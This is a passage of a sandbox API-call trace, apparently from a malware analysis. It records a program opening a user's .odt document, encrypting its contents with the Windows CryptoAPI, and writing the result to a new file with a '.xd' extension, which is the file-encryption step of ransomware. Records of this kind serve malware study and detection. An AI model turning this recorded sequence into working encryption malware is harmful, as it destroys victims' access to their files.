lpMsg=0x130e73c) returned 0 [0073.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.982] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.983] CryptDestroyHash (hHash=0x164c670) returned 1 [0073.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.983] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.983] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.983] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.984] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\syif.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.984] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.984] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.984] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.985] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.985] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.985] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.986] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\syif.odt.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\syif.odt.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.986] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.989] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.989] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdcde, lpOverlapped=0x0) returned 1 [0073.991] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.994] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.994] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.995] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.995] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.995] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.995] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.995] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.995] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.995] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.996] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.996] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.996] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.996] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.996] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.997] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.997] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.997] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.997] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdcde, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xdce0) returned 1 [0073.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.998] CharLowerBuffW (in: lpsz="byte[56545]", cchLength=0xb | out: lpsz="byte[56545]") returned 0xb [0073.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.999] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.999] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180a1d8*, pdwDataLen=0x130e618*=0xdcde, dwBufLen=0xdce0 | out: pbData=0x180a1d8*, pdwDataLen=0x130e618*=0xdce0) returned 1 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.000] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.000] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.000] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.000] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.000] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.000] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.000] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.003] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.003] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.003] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.003] WriteFile (in: hFile=0x3d0, lpBuffer=0x17ee808*, nNumberOfBytesToWrite=0xdce0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee808*, lpNumberOfBytesWritten=0x130f01c*=0xdce0, lpOverlapped=0x0) returned 1 [0074.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.005] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.005] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.005] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.005] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.005] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.006] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0074.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.006] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.006] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.006] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.006] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.006] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.006] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.006] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.006] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.006] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.006] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.007] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.007] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.007] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.007] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.007] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.007] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.007] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.007] GetProcAddress (hModule=0x74c60000, 